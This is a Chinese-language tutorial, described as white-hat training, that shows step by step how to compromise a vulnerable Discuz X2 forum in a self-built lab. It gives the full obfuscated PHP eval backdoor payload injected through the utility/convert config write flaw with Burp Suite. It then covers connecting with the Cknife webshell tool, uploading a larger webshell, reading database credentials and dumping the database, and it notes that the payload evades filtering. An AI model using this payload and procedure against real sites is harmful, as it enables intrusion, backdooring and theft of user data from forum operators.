20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)
- 1 快速搭建discuz论坛
- 1.1 攻击思路
- 1.2 快速搭建实验环境
- 1.2.1,漏洞概述
- 1.2.2,在centos7虚拟机上搭建LAMP环境
- 1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下
- 1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛
- 2 使用kali下burpsuite对discuz后台注入PHP木马
- 3 使用Cknife “菜刀”上传webshell木马到网站
- 3.1 在kali上配置java环境
- 3.2 使用菜刀连接discuz论坛上面的PHP后门程序
- 3.3 上传功能更强大的木马文件webshell2.php
- 3.4 任意机器访问我们的webshell2.php木马文件
- 4 使用webshell查看mysql数据库密码并盗取数据库
- 总结
1 快速搭建discuz论坛
1.1 攻击思路
想要拿下一台主机A的权限:
(1)了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
(2)拿到对A有一定权限的身份。如果对方是一个web服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
(3)传上去后,得到Apache用户普通权限,再提权成root
1.2 快速搭建实验环境
搭建一个LAMP环境。部署带有漏洞的discuz论坛
1.2.1,漏洞概述
这漏洞出现在一个DZX系列自带的转换工具里面
漏洞路径:utility/convert/data/config.inc.php
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。(所有做开发的东西从外网上获取数据时,不知此数据是否危险都要做过滤,但很多网站开发人员不知道做这一步过滤)
触发漏洞的过程:
(1)在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
(2)使用utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件(utility 效用)
(3)config.inc.php文件(这个新建的文件)没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序
渗透思路:
burp suite 可以抓包,和wireshark一样,还能改包内的内容
1.2.2,在centos7虚拟机上搭建LAMP环境
# yum -y install httpd mariadb-server mariadb php php-mysql #安装LAMP环境
参数:mariadb-server 这是mysql数据库的一个分支
mariadb 就是它的客户端了
php-mysql 是专门用来连接mariadb 的一个工具
#systemctl start httpd //启动Apache
#systemctl start mariadb //启动数据库
#mysqladmin -u root password “电脑密码” //给数据库配个密码
#mysql -u root -p密码 //登录数据库
1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下
此处使用xshell连接虚拟机,注意使用桥接模式且使用路由器的网
上传之后使用
#rz //此处使用命令上传(因不含命令,我变使用ftp上传)
[root@localhost ~]# unzip Discuz_X2_SC_UTF8_0628.zip //直接解压缩到当前目录下(也有可能未找到该命令,则yum -y install zip unzip来下载此命令)
# ls
//此时解压出很多东西,若搭建网站需要两个,一个upload,一个utility(漏洞就在此目录下),
[root@localhost ~]# mv upload/* /var/www/html/ //将upload下的所有东西放到网站根目录
[root@localhost ~]# mv utility/ /var/www/html/ //将utility(可以理解成一个工具,比如说版本更新等工具,无*)也传到此目录下
[root@localhost ~]# ls /var/www/html/
admin.php config data home.php misc.php search.php uc_client
api connect.php favicon.ico index.php plugin.php source uc_server
api.php cp.php forum.php install portal.php static userapp.php
archiver crossdomain.xml group.php member.php robots.txt template utility
[root@localhost ~]# cd /var/www/html/
[root@localhost html]# ll //进入可查看这些文件的权限,要将其拥有者权限root修改,若不修改,别人是无法上传文件的(如修改自己图像),凭什么能上传自己的头像,因为上传时使用的是Apache的身份,我们的进程就是以Apache进行的(ps -axu | grep apache)
[root@localhost html]# chown -R apache:apache uc_server/ data/ config/ uc_client/
//修改权限
[root@localhost html]# chown -R apache:apache utility/convert/data/
//还需要修改data的权限(专门存数据的,临时数据)
[root@localhost html]# iptables -F
//清空防火墙,不然80端口出不来
[root@localhost html]# setenforce 0
//确保setlinux关闭,可以用setenforce 0命令执行。 默认的,SELinux禁止网络上对Samba服务器上的共享目录进行写操作,即使你在smb.conf中允许了这项操作。
1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛
安装成功后刷新一下,或重新进入此IP就出界面了
此网站在内网,放到外网其他人就可以访问了
2 使用kali下burpsuite对discuz后台注入PHP木马
使用kali自带的火狐浏览器访问百度看其能否正常上网,接着在访问网站IP之前,打开burpsuit(是一个抓包工具,抓的是http协议)
(1)在火狐浏览器中要设计一个代理,即在右侧点击preferences属性,拉倒最下方打开setting,选择手动manul proxy configuration
(2)抓包,burpsuit默认启动后,打开proxy选项,点击“intercept is on”,变为“intercept is off”,因为我们要先访问我们的论坛,先关闭拦截,若是所有数据都被拦截了就无法调数据了,所以只拦截最后的请求,拦截最需要的东西。
(3)浏览器进行操作抓包,在kali上,打开注入漏洞的地方:http://192.168.0.106/utility/convert/
这是discuz产品升级的漏洞,随便点击一个页面,点开始弹出向导
注意:在点击开始时会产生问题,所以点击之前,因为走的代理,所以请求会转给这个代理,所以此处要开启抓包点击intercept is on,此时就开始拦截了,这样当前浏览器所有的http请求都会被拦截,点击开始,网页不停刷新是因为没有接到请求
如果之前抓到了别的数据包,需要先点击forward,把之前的http请求都放行了,然后再访问我们需要访问的连接(看地址就能看到)。
在burpsuit就会出现下方消息,就能get下方消息(凡是可以get的地方,就要尝试着去注入一句话木马)
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
Host: 192.168.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.106/utility/convert/
Connection: close
Upgrade-Insecure-Requests: 1
此时已经抓取到了http请求接下来要注入木马,怎么注入是不能在此直接修改的需要右击空白处(sent to repeater请求转给中继器),这样整个的数据包就拦截下来了,就可以修改了
接着点击repeater选项,修改request信息,将get请求改为post,因为这个包在自己手里,想怎么改就怎么改。改为下方
修改第一行:
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
为:注意POST后面没有回车键,这里是文本显示自动换行了。
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes HTTP/1.1
注:这是一个PHP一句话木马加密后的内容。翻译后的内容:
&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]=aaaa&submit=yes
注:%0a%0d 阿斯克码的回车换行
再转换
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]
扩展eval()函数:
Eval函数中的eval是evaluate的简称,这个函数的作用就是把一段字符当做PHP语句来执行,一般情况下不建议使用容易被黑客利用。
Eval(‘echo’hello worrld’;’)等同于(PHP直接执行)下边的代码:
Echo ‘hello world’;在浏览器中输出:hello world
接着点击go(send),返回200k成功,现在已经注入成功,要看木马在哪,打开Linux服务器
下面在Linux中查看注入的木马所在地
[root@localhost ~]# cd /var/www/html/utility/convert/data/
[root@localhost data]# ls
config.default.php config.inc.php
[root@localhost data]# ll
总用量 8
-rw-r--r--. 1 apache apache 935 6月 27 2012 config.default.php
-rw-r--r--. 1 apache apache 1481 11月 15 14:53 config.inc.php
[root@localhost data]# vi config.inc.php
注意注入的木马是免杀的,一般情况下过滤不出来,一般过滤的是eval这个函数
在这个配置文件中有很多的^M符号
扩展:^M符号
^M字符的来历和作用:在DOS/windows里,文本文件的换行符为\r\n,而在Linux系统里则为\n,所以DOS/windows里编辑过的文本文件到了Linux里,每一行都多了个^M。所以^M只是个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除
%0a%0d 等于\r\n
那么这个一句话木马怎么用(会使用菜刀来用它)
3 使用Cknife “菜刀”上传webshell木马到网站
3.1 在kali上配置java环境
搭建java环境(我们是基于java开发的)
[root@localhost ~]# yum install -y java
//注意我们现在是在此服务器上直接安装中国菜刀的,并不是在kali上安装的
很多人高渗透用的菜刀是windows下的,建议使用Linux下的会更安全一些
自动安装的是openjdk开源的
查看java版本
[root@localhost ~]# java -version
openjdk version "1.8.0_232"
OpenJDK Runtime Environment (build 1.8.0_232-b09)
OpenJDK 64-Bit Server VM (build 25.232-b09, mixed mode)
3.2 使用菜刀连接discuz论坛上面的PHP后门程序
接着上传菜刀(cknife.jar)使用ftp即可直接上传到根目录
注意:jar包的获取可看此文章https://www.cnblogs.com/ownhp/p/9094896.html
注意从Github上下载下来的cknife-master需要在myeclipse上运行一下其配置文件才会出现,并且此项目是运行在jdk1.7版本的,所以选好运行环境后,再运行一下,接着导出成可运行的jar包运行在Linux上
[root@localhost ~]# ls
anaconda-ks.cfg CKnife.jar Discuz_X2_SC_UTF8_0628.zip readme upload ╦╡├ў.htm
传完东西后运行一下中国菜刀
[root@localhost ~]# java -jar Cknife.jar
接着会出来一个界面,就能右击添加,如果打开程序后,看到是乱码的,我们更换一下皮肤科解决乱码问题
右击添加,会出现添加shell,选择连接即可,地址172.20.10.10/utility/convert/data/config.inc.php,密码就是前面注入程序的‘c’,
脚本类型选择PHP,字符编码选择GB2313,接着点击添加就行了
之后就行了吗,双击出现的地址,看到了什么,看到了所有的文件,接着我们还是在data文件下上传webshell2.php木马,为什么要上传大马,因为这个功能是非常强大的。小马(一句话木马)功能单一只有上传下载功能,而大马功能强大,是可以用任意机器访问此webshell了。
3.3 上传功能更强大的木马文件webshell2.php
注:这里需要上传到Apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为Apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data(此目录下是有Apache权限的)目录下。
https://blog.csdn.net/weixin_45178890/article/details/98121719
此链接上有大小马程序,通过之前的一句话木马来上传此大马程序,可以试试。大马程序已改成“招财猫”。
在菜刀的界面上右击上传我们的大马程序。这就上传到data文件下了。
3.4 任意机器访问我们的webshell2.php木马文件
172.20.10.10/utility/convert/data/da.php 在浏览器输入此地址后,接着会要求输入密码这个选项,输入密码之后就能在网站登录别人的后台了,登上后可以管理任何文件
4 使用webshell查看mysql数据库密码并盗取数据库
第四步骤已经链接上了,第五个步骤要用webshell盗取mysql的数据库了,有思路没,首先要知道数据库密码,在网站的根目录下都有一个config(/var/www/html/config)这样的目录,在这目录下有个config_global.php,所有网站都要连接数据库,既然连接数据库那么就有一个配置文件存着mysql的账号和密码。编辑此文件config_global.php,无论是java,python,PHP都有这样的文件,我们明确看到了此文件内的数据库账号和密码,看到很清楚,这样就能连上数据库就能很清楚的看到我们想要的数据了。登录数据库用密码,选择自己想要看到数据库,例如ultrax我们的discuz论坛就在此库中,在这有很多很多的,接着就是脱库(将数据库导出来),可以选择所有的数据库将其导出来,可以选择某个表导出(就是下载到本地)。这个导出功能在视频中有,现在这个大马应该是没有。
有同学说能不能给提个权注个木马,可以现在的大马就能提权。
到此结束了,我们可以使用Apache用户进行提权操作。然后我们就有了root权限了。因为大家还不会向里埋后门。
总结
1 快速搭建discuz论坛
2 使用kali下burpsuite对discuz后台注入PHP木马
3 使用cknife “菜刀” 上传webshell 木马到网站
4 使用webshell查看mysql数据库密码并盗取数据库
第一个先搭好论坛,搭好论坛后不是想向论坛注入数据吗,如果正常通过浏览器访问是永远也干不了坏事的,此时需要找个人篡改一下包,所以我的浏览器才需要代理上网,浏览器使用代理上网,所有的数据都交给了代理,那么代理抓到所有的数据后可以篡改你的数据,篡改数据后再将数据进行注入,注入完了后通过菜刀连接上去,连接上去后可以上传很多文件,就上传webshell,可以非常方便的看到数据库密码,看到密码后下载数据库是非常轻松的事。